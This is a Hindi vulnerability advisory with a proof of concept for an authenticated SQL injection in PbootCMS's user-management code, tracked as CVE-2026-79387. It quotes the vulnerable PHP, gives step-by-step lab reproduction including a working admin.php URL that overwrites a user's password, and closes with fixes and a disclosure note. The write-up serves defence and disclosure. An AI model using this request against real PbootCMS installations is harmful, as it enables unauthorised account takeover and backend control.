
CVE-2026-79387 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, PbootCMS उपयोगकर्ता प्रबंधन में एक प्रमाणित SQL इंजेक्शन जो मनमाने फ़ील्ड अपडेट और खाता अधिग्रहण की अनुमति देता है।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-79387 |
| उत्पाद | PbootCMS |
| प्रभावित संस्करण | 3.2.0 – 3.2.5, और संभवतः पुराने संस्करण |
| भेद्यता प्रकार | SQL इंजेक्शन (CWE-89) |
| हमला वेक्टर | रिमोट (प्रमाणित) |
| CVSS गंभीरता | उच्च |
| खोजकर्ता | JihaoLi |
| विक्रेता | https://www.pbootcms.com/ |
PbootCMS V3.2.5 के उपयोगकर्ता प्रबंधन मॉड्यूल में SQL इंजेक्शन भेद्यता मौजूद है। यह भेद्यता /apps/admin/controller/system/UserController.php (पंक्ति 149) की mod() विधि और /apps/admin/model/system/UserModel.php की modUser() विधि में स्थित है।
field पैरामीटर GET अनुरोध के माध्यम से पूरी तरह से उपयोगकर्ता-नियंत्रित है, बिना किसी व्हाइटलिस्ट सत्यापन के। value पैरामीटर भी समान रूप से उपयोगकर्ता-नियंत्रित है और सीधे SQL UPDATE स्टेटमेंट में जोड़ा जाता है। एक प्रमाणित हमलावर किसी भी डेटाबेस कॉलम को field के रूप में निर्दिष्ट कर सकता है (जैसे, password, username, status, role), जिससे मनमाना डेटा हेरफेर संभव हो जाता है।
// UserController.php - mod() विधि
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field और $value सीधे $_GET सुपरग्लोबल से लिए जाते हैं और बिना किसी सैनिटाइज़ेशन, बिना व्हाइटलिस्ट, और बिना पैरामीटराइज़्ड क्वेरी के SQL स्ट्रिंग में जोड़े जाते हैं। यह स्ट्रिंग फिर UserModel::modUser() को भेजी जाती है, जो इसे आधार Model::update() विधि को अग्रेषित करती है। चूंकि तर्क एक स्ट्रिंग है (सरणी नहीं), यह checkKey() फ़ील्ड-नाम सत्यापन को बायपास करता है और SET क्लॉज़ में शब्दशः एम्बेड हो जाता है:
UPDATE ay_user SET <उपयोगकर्ता-नियंत्रित>= '<उपयोगकर्ता-नियंत्रित>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
एक प्रमाणित हमलावर यह कर सकता है:
ucode=10001 को छोड़कर)।value पैरामीटर सिंगल-कोट एस्केप की अनुमति देता है, संभावित रूप से स्टैक्ड या टॉटोलॉजी-आधारित हमलों को सक्षम करता है।इससे खाता अधिग्रहण और CMS बैकएंड का पूर्ण नियंत्रण होता है।
192.168.1.104, Apache/PHP 7.2.1/SQLite पर किया गया)PbootCMS एडमिन डैशबोर्ड तक पहुँचें और डिफ़ॉल्ट admin खाते से लॉगिन करें।

सिस्टम प्रबंधन → उपयोगकर्ता प्रबंधन → उपयोगकर्ता जोड़ें पर नेविगेट करें। एक नया उपयोगकर्ता बनाएँ:
admin2admin
उपयोगकर्ता सूची ucode=10002 के साथ admin2 की पुष्टि करती है:

एक नई ब्राउज़र विंडो खोलें। admin2 के रूप में पासवर्ड 123456 के साथ लॉगिन करने का प्रयास करें — यह विफल होता है क्योंकि वास्तविक पासवर्ड admin है:

पहले से लॉग-इन एडमिन ब्राउज़र का उपयोग करके, नेविगेट करें:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291123456का MD5 हैश है।
mod() विधि इंजेक्शन निष्पादित करती है और location(-1) के माध्यम से रीडायरेक्ट करती है:

अब admin2 / 123456 के साथ लॉगिन करने का प्रयास करें:

SQL इंजेक्शन के माध्यम से पासवर्ड सफलतापूर्वक बदल दिया गया है। उपयोगकर्ता अब नए पासवर्ड के साथ लॉग इन है, जो पूर्ण खाता अधिग्रहण की पुष्टि करता है।

जब update() को एक स्ट्रिंग तर्क प्राप्त होता है, तो इसे बिना किसी एस्केपिंग के SET क्लॉज़ में जैसा-है-वैसा उपयोग किया जाता है:
final public function update($data = null)
{
if (is_array($data)) {
// सरणी पथ: checkKey() फ़ील्ड नामों को सत्यापित करता है
...
} else {
// स्ट्रिंग पथ: कोई सत्यापन नहीं
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // प्रत्यक्ष निष्पादन, कोई तैयार स्टेटमेंट नहीं
}
field पैरामीटर पर व्हाइटलिस्ट सत्यापन — केवल ज्ञात कॉलम नामों की अनुमति दें (status, username, realname, password)।$value को सैनिटाइज़ करें।field password है, तो भंडारण से पहले मान पर encrypt_string() लागू करें।mod() में "एकल फ़ील्ड संशोधन" शाखा को मान्य CSRF टोकन और भूमिका-स्तरीय प्राधिकरण जाँच की आवश्यकता होनी चाहिए।प्रकटीकरण: यह भेद्यता विक्रेता को जिम्मेदारी से प्रकट की गई थी। यदि आप एक प्रभावित संस्करण चला रहे हैं, तो तुरंत अपडेट करें और सभी बैकएंड खातों का ऑडिट करें।